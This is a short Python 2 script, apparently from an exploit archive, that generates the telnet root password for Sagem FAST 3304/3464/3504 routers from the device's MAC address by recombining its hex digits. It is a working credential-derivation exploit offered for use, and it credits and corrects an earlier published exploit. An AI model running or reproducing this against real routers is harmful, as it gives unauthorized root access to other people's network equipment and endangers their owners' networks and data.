SAGEM ROUTER FAST 3304/3464/3504 - telnet root password generator

sagem-router-root-pass-gen.py

"""

SAGEM ROUTER FAST 3304/3464/3504 - telnet root password generator.

Work based on: http://1337day.com/exploit/16687

"""

import sys

def mash(a,b):
    if a > b:
        b, a = a, b
    aa = int(a, 16)
    bb = int(b, 16)
    if bb < 10:
        if aa + bb <= 9:
            return chr(ord(a) + bb)
        else:
            # FIXED: original code:
            # hex(ord(first)+int(second,16))
            # doesn't seem to produce correct characters
            return hex(aa + bb)[2:]
    else:
        return chr(ord(b) + aa)

mac = sys.argv[1]
mac = mac.translate(None, ':- ').lower()
print 'MAC: ' + mac

password = []
password.append(mash(mac[5], mac[11]))
password.append(mash(mac[0], mac[2]))
password.append(mash(mac[10],mac[11]))
password.append(mash(mac[0], mac[9]))
password.append(mash(mac[10],mac[6]))
password.append(mash(mac[3], mac[9]))
password.append(mash(mac[1], mac[6]))
password.append(mash(mac[3], mac[4]))
password = "".join(password)

print 'Password: ' + password